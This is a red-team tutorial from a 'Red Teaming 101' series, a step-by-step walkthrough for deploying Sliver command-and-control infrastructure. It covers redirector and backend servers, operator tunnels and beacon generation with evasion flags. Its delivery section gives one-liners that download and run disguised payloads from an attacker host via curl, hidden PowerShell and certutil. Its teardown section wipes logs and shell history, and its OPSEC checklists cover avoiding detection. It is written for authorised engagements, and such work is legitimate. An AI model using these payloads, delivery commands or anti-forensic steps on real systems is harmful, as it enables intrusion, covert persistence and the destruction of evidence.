7.5_C2_Infrastructure_Walkthrough

7.5 C2 Infrastructure — Full Deployment Walkthrough

BLUF: End-to-end, copy-paste walkthrough to stand up production-ready C2 infrastructure: expendable redirector (jump server) → hardened backend Sliver teamserver → operator access via SSH tunnel or WireGuard → beacon deployment. Takes approximately 30–45 minutes from zero to first callback.

Warning

Authorised use only. All techniques are for professional red team engagements with written scope authorisation. Unauthorised deployment of C2 infrastructure is a criminal offence.

Note

Sections
🚀 Phase 0: Prerequisites · Phase 1: Infrastructure Provisioning · Phase 2: Jump Server (Redirector) · Phase 3: Backend C2 Server · Phase 4: Operator Access · Phase 5: Payload Generation & Delivery · Phase 6: Validation · Phase 7: Teardown · OPSEC Reference


Architecture Overview

graph LR
    OP([Operator\nYour Machine]) -->|SSH tunnel :31337| BACK
    TARGET([Target\nBeacon]) -->|HTTPS yourdomain.com:443| JUMP
    JUMP[Jump Server\nRedirector\nnginx + certbot\nDigitalOcean] -->|proxy_pass :443| BACK
    BACK[Backend C2\nSliver Server\nHetzner/OVH]

    style TARGET fill:#ff6600
    style JUMP fill:#ffaa00
    style BACK fill:#006600,color:#ffffff
    style OP fill:#0066cc,color:#ffffff

What each node does:

Node Provider Role Publicly Reachable Contains Sliver
Jump Server DigitalOcean / Vultr Receives beacons, filters traffic, proxies to backend ✅ Yes ❌ No
Backend C2 Hetzner / OVH Runs Sliver, stores data ❌ No (firewall) ✅ Yes
Operator machine Your laptop Issues commands via tunnel N/A Client only

🚀 Phase 0 — Prerequisites

What You Need Before Starting

✅ Two VPS nodes provisioned (see Phase 1)
✅ A domain name pointing at your jump server
✅ Your operator static IP (curl ifconfig.me)
✅ SSH key pair (ssh-keygen -t ed25519 -C "op-key")
✅ Sliver server binary downloaded (see Phase 3)

Variables — Fill These In Once

JUMP_IP="1.2.3.4"             # Jump server public IP
BACKEND_IP="5.6.7.8"          # Backend C2 server IP
YOUR_IP="9.10.11.12"          # Your operator public IP
DOMAIN="yourdomain.com"       # C2 domain
KILL_DATE="2026-12-31T23:59:59Z"   # Engagement expiry (RFC3339)

Phase 1 — Infrastructure Provisioning

1.1 Spin Up Jump Server (Redirector)

Provider: DigitalOcean, Vultr, or Linode
Size:     $6/mo — 1 vCPU, 1 GB RAM (nginx is lightweight)
OS:       Ubuntu 22.04 LTS
Region:   Pick a region that aligns with your target geography
Label:    Something generic: "web-01", "cdn-proxy"
# After provisioning — add your SSH key and harden immediately:
ssh root@JUMP_IP

# Create non-root user:
useradd -m -s /bin/bash operator && passwd -l operator
usermod -aG sudo operator
mkdir -p /home/operator/.ssh
cp ~/.ssh/authorized_keys /home/operator/.ssh/
chown -R operator:operator /home/operator/.ssh

# Disable root SSH:
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl reload sshd

# Basic hardening:
apt update && apt upgrade -y
apt install -y ufw fail2ban nginx certbot python3-certbot-nginx

1.2 Spin Up Backend C2 Server

Provider: Hetzner, OVH, or BuyVM  ← DIFFERENT provider from jump server
Size:     €4/mo — 2 vCPU, 2 GB RAM (Sliver needs ~500MB RAM)
OS:       Ubuntu 22.04 LTS
Region:   Different country from jump server if possible
Label:    "db-01", "mail-relay" — nothing that hints at C2
ssh root@BACKEND_IP

# Same hardening as jump server:
useradd -m -s /bin/bash operator && passwd -l operator
usermod -aG sudo operator
mkdir -p /home/operator/.ssh
cp ~/.ssh/authorized_keys /home/operator/.ssh/
chown -R operator:operator /home/operator/.ssh

sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config

# Change SSH port on backend (extra layer):
echo "Port 2222" >> /etc/ssh/sshd_config
systemctl reload sshd

apt update && apt upgrade -y && apt install -y ufw

1.3 DNS Setup

At your domain registrar:
  A record:   yourdomain.com  →  JUMP_IP
  TTL:        60 seconds (low TTL = fast node swap if burned)

Optional (for DNS C2):
  A record:   ns1.yourdomain.com  →  JUMP_IP
  NS record:  c2.yourdomain.com   →  ns1.yourdomain.com
# Verify propagation (run from your machine):
dig +short yourdomain.com
# Should return: JUMP_IP

Phase 2 — Jump Server Setup (Redirector)

Two options depending on how much control and filtering you need:

Method Setup complexity Scanner deflection Beacon URI filtering TLS terminated at
Option A: nginx Medium ✅ Yes (302 redirect) ✅ Yes (URI allowlist) Jump server
Option B: Reverse SSH tunnel Low ❌ No (dumb pipe) ❌ No Backend (Sliver)

Use nginx when OPSEC is paramount — scanners get redirected, non-C2 traffic is dropped.
Use reverse SSH when you want something simple, fast, and don't need traffic filtering.


Option A: nginx Smart Redirector

sequenceDiagram
    participant T as Target (Beacon)
    participant J as Jump Server
nginx :443 participant B as Backend C2
Sliver :443 participant S as Scanner / Blue Team T->>J: HTTPS beacon callback (yourdomain.com:443) J->>J: URI matches .woff/.ttf/.js? J->>B: proxy_pass → BACKEND_IP:443 B->>J: C2 response J->>T: Response forwarded S->>J: GET / (scanner probe) J->>S: 302 → https://microsoft.com Note over S: Scanner sees legit redirect
Backend IP never exposed

2A.1 TLS Certificate

ssh operator@JUMP_IP

# Get a real cert — this makes HTTPS beacons work and looks legitimate:
sudo certbot --nginx -d yourdomain.com --non-interactive --agree-tos \
  --email admin@yourdomain.com

# Verify:
ls /etc/letsencrypt/live/yourdomain.com/
# fullchain.pem  privkey.pem  cert.pem  chain.pem

2A.2 nginx Config

sudo tee /etc/nginx/sites-available/c2 > /dev/null << 'EOF'
server {
    listen 80;
    server_name yourdomain.com;
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl;
    server_name yourdomain.com;

    ssl_certificate     /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;
    ssl_ciphers         HIGH:!aNULL:!MD5;

    access_log  /var/log/nginx/c2_access.log;
    error_log   /var/log/nginx/c2_error.log;

    # DEFAULT: redirect scanners to legit site
    location / {
        return 302 https://microsoft.com;
    }

    # FORWARD: only Sliver C2 URI patterns (customise to your profile)
    location ~* \.(woff|woff2|ttf|otf|js|php|aspx|png)$ {
        proxy_pass          https://BACKEND_IP:443;
        proxy_ssl_verify    off;
        proxy_http_version  1.1;
        proxy_set_header    Host            $host;
        proxy_set_header    X-Forwarded-For $remote_addr;
        proxy_read_timeout  90;
    }
}
EOF

sudo ln -sf /etc/nginx/sites-available/c2 /etc/nginx/sites-enabled/c2
sudo rm -f /etc/nginx/sites-enabled/default
sudo nginx -t && sudo systemctl reload nginx

OPSEC: curl -k https://yourdomain.com/ should return a 302 to microsoft.com. curl -k https://yourdomain.com/style.woff should proxy to backend.

2A.3 Firewall (nginx)

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow from YOUR_IP to any port 22
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw enable

Option B: Reverse SSH Tunnel (Simple, No nginx)

How it works: The backend C2 server opens an outbound SSH connection to the jump server and instructs it to listen on port 443 — forwarding all connections back through the tunnel to Sliver on the backend. No nginx, no cert management on the jump server. Sliver handles TLS end-to-end.

sequenceDiagram
    participant T as Target (Beacon)
    participant J as Jump Server
:443 (SSH -R binding) participant B as Backend C2
Sliver :443 participant S as Scanner / Blue Team B->>J: ssh -R 0.0.0.0:443:localhost:443
(outbound from backend — firewall friendly) Note over J,B: Persistent reverse SSH tunnel established T->>J: HTTPS beacon callback (yourdomain.com:443) J->>B: Forwarded through SSH tunnel (dumb pipe) B->>J: C2 response J->>T: Response forwarded S->>J: GET / (scanner probe) J->>B: Forwarded to Sliver (no filtering) B->>S: Raw TLS from Sliver Note over S: ⚠️ Sliver fingerprint potentially visible
No scanner deflection

2B.1 Enable GatewayPorts on Jump Server

ssh operator@JUMP_IP

# Restrict remote forwarding to the dedicated tunnel user only:
sudo tee -a /etc/ssh/sshd_config > /dev/null << 'EOF'
Match User c2tunnel
    AllowTcpForwarding remote
    GatewayPorts clientspecified
    PermitListen 0.0.0.0:443
    X11Forwarding no
    PermitTTY no
EOF

sudo systemctl reload sshd

Why this is required: By default ssh -R only binds the remote port to 127.0.0.1 on the jump server — unreachable by the beacon. GatewayPorts clientspecified lets the client request 0.0.0.0:443, and PermitListen 0.0.0.0:443 keeps that privilege scoped to the dedicated tunnel account instead of every SSH user on the box.

2B.2 Create a Dedicated Tunnel Service Account (on jump server)

Run this on the jump server. This creates a locked-down account used only for accepting the SSH tunnel — no login shell, no password, SSH key only.

# On jump server — create a dedicated non-login service user:
sudo useradd -r -m -s /usr/sbin/nologin c2tunnel
sudo mkdir -p /home/c2tunnel/.ssh
sudo chmod 700 /home/c2tunnel/.ssh

# Add the backend server's public SSH key (so backend can authenticate):
# First, on backend: cat ~/.ssh/id_ed25519.pub
# Then paste it here, prefixed with key restrictions:
sudo tee /home/c2tunnel/.ssh/authorized_keys << 'EOF'
restrict,port-forwarding,permitlisten="0.0.0.0:443" PASTE_BACKEND_PUBLIC_KEY_HERE
EOF

sudo chown -R c2tunnel:c2tunnel /home/c2tunnel/.ssh
sudo chmod 600 /home/c2tunnel/.ssh/authorized_keys

Why not operator:operator? The operator account has sudo rights and a real shell — if the jump server is compromised, that account is a pivot point. c2tunnel has no shell (nologin), no password, and can only be used for SSH tunneling. Even if the key leaks, the attacker can't get an interactive shell.

About /usr/sbin/nologin: No authbind is needed here — sshd binds the remote listen socket on behalf of the forwarded session. In standard OpenSSH setups, transport-only forwarding can work without an interactive shell, but PAM/shell policy varies by distro. Test the one-shot tunnel first; if nologin blocks the session on your host, switch c2tunnel to a low-privilege shell account and keep the Match User / authorized_keys restrictions above.

2B.3 Open the Reverse Tunnel (run on backend C2 server)

# One-shot (for testing):
ssh -R 0.0.0.0:443:localhost:443 \
    -p 22 c2tunnel@JUMP_IP \
    -N -o ServerAliveInterval=30

# Persistent with autossh (production — auto-reconnects on drop):
sudo apt install -y autossh

autossh -M 0 -f -N \
  -R 0.0.0.0:443:localhost:443 \
  -p 22 c2tunnel@JUMP_IP \
  -o ServerAliveInterval=30 \
  -o ServerAliveCountMax=3 \
  -o ExitOnForwardFailure=yes

# Verify tunnel is up (run on jump server):
ss -tlnp | grep 443
# Should show: 0.0.0.0:443  ← jump server now forwarding to backend

2B.4 systemd Service for Persistent Tunnel (backend)

Two approaches — use whichever fits your environment:

Approach 1: autossh (preferred if available)

This example uses autossh -M 0, which disables autossh's monitor port. Here, autossh is acting as a supervisor: OpenSSH keepalives detect a dead session, ssh exits, and autossh restarts it. If you want autossh's extra monitor-channel health checks, use a non-zero -M port and reserve that port pair.

sudo apt install -y autossh

sudo tee /etc/systemd/system/c2-tunnel.service > /dev/null << EOF
[Unit]
Description=C2 Reverse SSH Tunnel
After=network.target
Wants=network-online.target

[Service]
User=operator
ExecStart=/usr/bin/autossh -M 0 -N \
  -R 0.0.0.0:443:localhost:443 \
  -p 22 c2tunnel@JUMP_IP \
  -o ServerAliveInterval=30 \
  -o ServerAliveCountMax=3 \
  -o StrictHostKeyChecking=no \
  -o ExitOnForwardFailure=yes
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

Approach 2: Plain SSH + systemd (no autossh required)

systemd Restart=always acts as the reconnect loop. SSH's keepalive flags detect dead connections and exit cleanly so systemd can restart. Nearly as reliable as autossh for most scenarios.

sudo tee /etc/systemd/system/c2-tunnel.service > /dev/null << EOF
[Unit]
Description=C2 Reverse SSH Tunnel
After=network.target
Wants=network-online.target

[Service]
User=operator
# SSH flags explained:
#   ServerAliveInterval=15   → send keepalive every 15s
#   ServerAliveCountMax=3    → 3 missed = connection dead → SSH exits (so systemd restarts)
#   TCPKeepAlive=yes         → OS-level TCP keepalive (catches dead NAT sessions)
#   ExitOnForwardFailure=yes → exit immediately if -R port can't be bound
#   ConnectTimeout=10        → don't hang forever on connect attempt
ExecStart=/usr/bin/ssh -N \
  -R 0.0.0.0:443:localhost:443 \
  -p 22 c2tunnel@JUMP_IP \
  -o ServerAliveInterval=15 \
  -o ServerAliveCountMax=3 \
  -o TCPKeepAlive=yes \
  -o ExitOnForwardFailure=yes \
  -o ConnectTimeout=10 \
  -o StrictHostKeyChecking=no
Restart=always
RestartSec=5          # Wait 5s before reconnect attempt

[Install]
WantedBy=multi-user.target
EOF

How this works without autossh: SSH detects a dead connection within 15 × 3 = 45 seconds and exits with a non-zero code. systemd sees the exit, waits RestartSec=5, then re-executes the ExecStart command. The tunnel is back up within ~50 seconds of a drop — no extra tools needed.

What autossh adds in this exact example: with -M 0, not much beyond dedicated process supervision and its own restart/backoff behavior — the liveness detection still comes from ServerAliveInterval / ServerAliveCountMax. If you configure a non-zero -M monitor port, autossh can also probe the forwarding path itself.

# Apply either approach:
sudo systemctl daemon-reload
sudo systemctl enable --now c2-tunnel
sudo systemctl status c2-tunnel

# Watch reconnects live:
journalctl -u c2-tunnel -f

2B.5 Firewall (reverse SSH)

# ── JUMP SERVER ──────────────────────────────────────────
# No change to 443 rule — still needs to be open for beacons
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow from YOUR_IP to any port 22
sudo ufw allow 443/tcp                   # Beacons call in
sudo ufw enable

# ── BACKEND C2 SERVER ────────────────────────────────────
# Backend no longer needs to accept 443 from JUMP_IP directly
# (tunnel is outbound from backend — no inbound rule needed for 443)
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow from YOUR_IP to any port 2222    # Operator SSH
# Port 443 listens on localhost — not reachable externally
sudo ufw enable

OPSEC: The reverse SSH tunnel is a dumb pipe — all port 443 traffic hits Sliver regardless of URI or User-Agent. Scanners probing the jump server will get a raw TLS handshake from Sliver (potentially fingerprintable). Use nginx (Option A) when detection risk is higher.

2B.6 Tradeoff Summary

nginx (Option A) Reverse SSH (Option B)
Setup time ~15 min ~5 min
Scanner deflection ✅ 302 redirect ❌ Raw Sliver TLS
C2 URI filtering ✅ Allowlist only ❌ All traffic forwarded
TLS cert on jump server Required Not needed
Tunnel reliability N/A (stateless) Needs autossh
Jump server packages nginx, certbot SSH only (built-in)
Backend firewall Open 443 from JUMP 443 stays localhost-only
Best for Production engagements Quick ops, internal networks

Phase 3 — Backend C2 Server Setup

3.1 Install Sliver

ssh -p 2222 operator@BACKEND_IP

# Download latest release:
SLIVER_VER=$(curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
  | grep tag_name | cut -d '"' -f4)

sudo wget -q \
  "https://github.com/BishopFox/sliver/releases/download/${SLIVER_VER}/sliver-server_linux-amd64" \
  -O /usr/local/bin/sliver-server

sudo wget -q \
  "https://github.com/BishopFox/sliver/releases/download/${SLIVER_VER}/sliver-client_linux-amd64" \
  -O /usr/local/bin/sliver-client

sudo chmod +x /usr/local/bin/sliver-server /usr/local/bin/sliver-client

# Unpack assets (Go toolchain, mingw cross-compiler):
sudo sliver-server unpack --force

3.2 Firewall on Backend

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow from YOUR_IP to any port 2222       # Operator SSH
sudo ufw allow from JUMP_IP to any port 443        # nginx → Sliver only
# Note: port 31337 (multiplayer) stays on localhost — only reachable via SSH tunnel
sudo ufw enable
sudo ufw status verbose

3.3 Start Sliver in tmux

# Start a persistent tmux session:
tmux new-session -d -s sliver 'sliver-server'
sleep 3

# Attach to the Sliver console:
tmux attach -t sliver

# Inside Sliver console — start HTTPS listener:
sliver > https --lhost 0.0.0.0 --lport 443

# Enable direct multiplayer mode for SSH local port forwarding:
# (default multiplayer is WireGuard-wrapped UDP; --disable-wg keeps it on TCP/31337)
sliver > multiplayer --disable-wg

# Create operator config for your machine:
sliver > new-operator --name you --lhost 127.0.0.1 --lport 31337 \
  --permissions all --disable-wg --save /tmp/you.cfg

# Detach tmux (keep Sliver running):
# Ctrl-B then D
# Download operator config to your machine:
scp -P 2222 operator@BACKEND_IP:/tmp/you.cfg ~/sliver-operator.cfg

3.4 Verify Sliver is Listening

# On backend:
ss -tlnp | grep -E '443|31337'
# Should show: 0.0.0.0:443 (Sliver HTTPS listener)
#              127.0.0.1:31337 (multiplayer, localhost only)

Phase 4 — Operator Access

# On your machine — forward Sliver's multiplayer port through SSH:
ssh -L 31337:localhost:31337 -p 2222 operator@BACKEND_IP -N -f

# Verify tunnel is up:
ss -tlnp | grep 31337

# Import config once, then connect in direct mode:
sliver-client import ~/sliver-operator.cfg
sliver-client --disable-wg

# You should see the Sliver console. Confirm listener is up:
sliver > jobs
# Should show: HTTPS :443

Option B: Persistent Tunnel with autossh

# Install autossh for auto-reconnect if tunnel drops:
apt install autossh

# Run persistent tunnel:
autossh -M 0 -f -N \
  -L 31337:localhost:31337 \
  -p 2222 \
  -o ServerAliveInterval=30 \
  -o ServerAliveCountMax=3 \
  operator@BACKEND_IP

# Add to ~/.bashrc or ~/.zshrc for auto-start:
alias c2tunnel='autossh -M 0 -f -N -L 31337:localhost:31337 -p 2222 operator@BACKEND_IP'

Option C: WireGuard VPN (for teams / multiple operators)

# On backend — install WireGuard:
apt install -y wireguard

wg genkey | tee /etc/wireguard/server.key | wg pubkey > /etc/wireguard/server.pub
SERVER_PRIV=$(cat /etc/wireguard/server.key)
SERVER_PUB=$(cat /etc/wireguard/server.pub)

cat > /etc/wireguard/wg0.conf << EOF
[Interface]
PrivateKey = ${SERVER_PRIV}
Address    = 10.99.0.1/24
ListenPort = 51820

[Peer]
# Operator
PublicKey  = OPERATOR_PUBKEY
AllowedIPs = 10.99.0.2/32
EOF

systemctl enable --now wg-quick@wg0

# Add firewall rule for WireGuard:
ufw allow from YOUR_IP to any port 51820/udp
# On your machine:
apt install -y wireguard
wg genkey | tee client.key | wg pubkey > client.pub

cat > /etc/wireguard/wg0.conf << EOF
[Interface]
PrivateKey = $(cat client.key)
Address    = 10.99.0.2/24

[Peer]
PublicKey  = ${SERVER_PUB}
Endpoint   = BACKEND_IP:51820
AllowedIPs = 10.99.0.0/24
PersistentKeepalive = 25
EOF

wg-quick up wg0

# Once on VPN, connect directly to Sliver (no SSH tunnel needed):
# sliver-client import operator.cfg
# sliver-client --disable-wg   # cfg points to 10.99.0.1:31337

Phase 5 — Payload Generation & Delivery

Generate Beacons (from Sliver console via tunnel)

# Linux ELF beacon — calls jump server domain:
sliver > generate beacon \
  --os linux --arch amd64 \
  --https yourdomain.com:443 \
  --seconds 3600 --jitter 600 \
  --skip-symbols --evasion \
  --limit-datetime KILL_DATE \
  --name lin_beacon \
  --save /tmp/payloads/

# Windows EXE beacon:
sliver > generate beacon \
  --os windows --arch amd64 --format executable \
  --https yourdomain.com:443 \
  --seconds 3600 --jitter 600 \
  --skip-symbols --evasion \
  --limit-datetime KILL_DATE \
  --name win_beacon \
  --save /tmp/payloads/

# Windows shellcode (amd64 only):
sliver > generate beacon \
  --os windows --arch amd64 --format shellcode \
  --https yourdomain.com:443 \
  --seconds 3600 --jitter 600 \
  --skip-symbols --evasion \
  --limit-datetime KILL_DATE \
  --name win_sc \
  --save /tmp/payloads/

Stage Payload for Delivery

# On backend — serve payloads temporarily (kill after delivery):
cd /tmp/payloads
python3 -m http.server 8080 &
STAGE_PID=$!

# Target downloads from jump server domain (add staging path to nginx if needed)
# OR directly from backend if target has internal access

# After confirmed delivery:
kill $STAGE_PID

Delivery Methods

# Linux target:
curl -s http://LHOST:8080/lin_beacon -o /tmp/.cache && chmod +x /tmp/.cache && /tmp/.cache &

# Windows target (PowerShell):
powershell -nop -w hidden -c "(New-Object Net.WebClient).DownloadFile('http://LHOST:8080/win_beacon.exe','C:\Windows\Temp\svcupdate.exe'); Start-Process C:\Windows\Temp\svcupdate.exe -WindowStyle Hidden"

# Windows LOLBAS (no PowerShell):
certutil -urlcache -split -f http://LHOST:8080/win_beacon.exe C:\Windows\Temp\svcupdate.exe

Phase 6 — Validation

Confirm End-to-End Flow

# Step 1 — Test redirector (from your machine, not target):
curl -k https://yourdomain.com/
# Expected: 302 → https://microsoft.com  ← scanner deflection working

curl -k https://yourdomain.com/style.woff 2>&1 | head -5
# Expected: connection to BACKEND_IP (any response from Sliver = proxying works)

# Step 2 — Confirm Sliver receives callbacks:
sliver > beacons
# Should list your beacon after first check-in interval

# Step 3 — Interact with beacon:
sliver > use <beacon_name>
sliver (lin_beacon) > whoami
sliver (lin_beacon) > info

Troubleshooting

Symptom Likely Cause Fix
Beacon not calling in nginx URI pattern doesn't match beacon URIs Check strings beacon for C2 URIs, update nginx location block
502 Bad Gateway on jump server Backend port 443 not open / Sliver not listening Check ss -tlnp on backend, check UFW rules
curl yourdomain.com returns Sliver error nginx default catch-all not set Verify location / returns 302
SSH tunnel drops No keepalive Use autossh or add ServerAliveInterval 30 to ssh config
Sliver console disconnects tmux session died tmux attach -t sliver on backend

Phase 7 — Teardown

End of Engagement Cleanup

# 1. Terminate all beacons:
sliver > beacons rm --all

# 2. Kill all listeners:
sliver > jobs --kill-all

# 3. Remove persistence on targets (Windows example):
sliver (session) > execute schtasks /delete /tn "YourTask" /f
sliver (session) > execute reg delete "HKCU\...\Run" /v "UpdateService" /f

# 4. Wipe logs on jump server:
ssh operator@JUMP_IP
sudo shred -u /var/log/nginx/c2_access.log /var/log/nginx/c2_error.log
sudo truncate -s 0 /var/log/auth.log
history -c && cat /dev/null > ~/.bash_history

# 5. Wipe logs on backend:
ssh -p 2222 operator@BACKEND_IP
sudo truncate -s 0 /var/log/auth.log
history -c && cat /dev/null > ~/.bash_history
# Optionally wipe Sliver data directory: rm -rf ~/.sliver/

# 6. Destroy jump server via provider console/API (expendable node)
# 7. Keep or wipe backend depending on engagement requirements
# 8. Revoke operator configs: sliver > operators rm <name>

OPSEC Quick Reference

Pre-Deployment Checklist

[ ] Domain registered 30+ days before engagement
[ ] WHOIS privacy enabled on domain
[ ] Different VPS providers for jump and backend
[ ] Different countries for jump and backend
[ ] TTL set to 60s for fast node swap
[ ] Jump server firewall: 443 open, 22 from YOUR_IP only
[ ] Backend firewall: 443 from JUMP_IP only, 2222 from YOUR_IP only
[ ] nginx default location returns 302 (not 200 / Sliver error)
[ ] nginx URI patterns tested and confirmed proxying to backend
[ ] Backend IP not reachable from internet (verify with Shodan)

During Operation Checklist

[ ] Never use jump server IP in a payload directly
[ ] Kill staging server immediately after payload delivery
[ ] Rotate jump server every 2–4 weeks on long engagements
[ ] Delete nginx access logs weekly
[ ] Monitor Sliver jobs — no stale listeners running
[ ] Don't SSH to backend from target-adjacent machines

Burn Indicators (when to swap jump server)

- C2 domain appears in threat intel / VirusTotal
- Unusual volume of non-beacon requests hitting port 443
- Abuse report from provider
- Sudden loss of all beacon callbacks

Resources

Resource Type Relevance
1.4 C2 Jump Server Infrastructure Internal Series-level jump server guide
7.2 C2 Redirector Infrastructure Internal Deep reference: socat, Apache, nginx, Caddy, CDN, multi-hop
BishopFox/sliver Tool Official Sliver C2
Sliver Docs Reference Official documentation
ired.team — C2 Infrastructure Blog Red team infra design patterns
FortyNorth — Apache mod_rewrite Blog Smart redirector config patterns
Cobalt Strike Infrastructure (bluscreeen) Wiki Framework-agnostic infra design

Part of the Red Teaming 101 series. See also: 1.4 C2 Jump Server Infrastructure · 7.2_C2_infra · 1.2 Sliver C2 Linux · 1.3 Sliver C2 Windows